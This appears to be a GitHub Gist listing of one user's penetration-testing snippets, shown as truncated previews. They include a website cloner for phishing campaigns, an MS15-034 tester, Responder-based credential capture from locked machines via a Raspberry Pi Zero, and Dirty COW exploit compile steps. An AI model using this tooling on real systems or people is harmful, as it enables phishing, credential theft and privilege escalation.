Skip to content

Instantly share code, notes, and snippets.

@milo2012
milo2012 / 0_reuse_code.js
Created December 13, 2015 14:29
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@milo2012
milo2012 / generateTemplate.py
Last active January 22, 2016 17:51
Supply a URL and generate a working cloned website archive that can be readily imported into Phishing Frenzy. Phishing Frenzy 'Clone Website' function still requires additional work to modify the HTML in order to capture the credentials
import re,sys,argparse, commands
try:
from bs4 import BeautifulSoup
except ImportError:
from BeautifulSoup import BeautifulSoup
import zipfile
def generateZIP():
zipFilename = "template.zip"
@milo2012
milo2012 / metascap.py
Created February 4, 2016 15:17 — forked from rjzak/metascap.py
Python interface to Meta Scan https://www.metascan-online.com
#!/usr/bin/python
import os
import json
import time
import hashlib
import httplib
avList=[]
infectedCount=0
@milo2012
milo2012 / parseFileList.py
Created June 10, 2016 18:16
parseFileList.py
#!/usr/bin/python
import argparse
import sys
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-f', action='store', help='[file containing directory listing]')
if len(sys.argv)==1:
@milo2012
milo2012 / ms15-034_multi.py
Created July 8, 2016 10:13
Test MS15-034 by using a list of URLS as input
#!/usr/bin/env python
import optparse
import re
import requests
import sys
import lxml
import urllib2
from lxml import html
from bs4 import BeautifulSoup
@milo2012
milo2012 / crawl.js
Created July 28, 2016 11:09
Simple NodeJS script to crawl Websites and get URLs
var Crawler = require("js-crawler");
var url = require('url');
if (process.argv.length <= 2) {
console.log("Usage: " + __filename + " http://www.yahoo.com");
process.exit(-1);
}
var crawler = new Crawler().configure({
maxRequestsPerSecond: 10,
@milo2012
milo2012 / gist:1c638b19b61c1338e21bad23705ff8fb
Last active December 1, 2021 11:58
Snagging creds from locked machines (for Raspberry Pi Zero)
##An update to Snagging Creds From Locked Machines from https://room362.com/post/2016/snagging-creds-from-locked-machines/.
##Installation on Rasberry Pi Zero
##Download Raspbian Jessie Lite from https://www.raspberrypi.org/downloads/raspbian/
##Use Pi Filler and write image to MicroSD
##Follow Step 1) in https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget/ethernet-gadget to let the Raspberry Pi Zero device emulates as a USB NIC
$ cd /pentest
$ apt-get install -y python git python-pip python-dev screen sqlite3
$ pip install pycrypto
$ git clone https://github.com/lgandx/Responder
@milo2012
milo2012 / dirtycow (dirtyc0w)
Last active October 19, 2018 00:50
dirtycow (dirtyc0w)
$ git clone https://github.com/dirtycow/dirtycow.github.io/
$ cd dirtycow.github.io
$ gcc -lpthread pokemon.c -o pokemon
$ cat /etc/issue
CentOS release 5.11 (Final)
Kernel \r on an \m
$ uname -r
2.6.18-398.el5
@milo2012
milo2012 / credit-card-finder.ps1
Last active February 10, 2017 23:25
credit-card-finder.ps1
###################################################################
###################################################################
##
## ----====----==== CREDIT CARD FINDER ====----====----
##
## Usage: .\find-credit-cards.ps1 -path C:\
## - To output to a file, use .\find-credit-cards.ps1 -path C:\ > result.txt
##
## Features:
## - Searches recursively through the provided path
@milo2012
milo2012 / Get-Screenshot.ps1
Created December 19, 2016 18:23
Get-Screenshot.ps1
##--------------------------------------------------------------------------
## FUNCTION.......: Get-Screenshot
## PURPOSE........: Takes a screenshot and saves it to a file.
## REQUIREMENTS...: PowerShell 2.0
## NOTES..........:
##--------------------------------------------------------------------------
Function Get-Screenshot {
<#
.SYNOPSIS
Takes a screenshot and writes it to a file.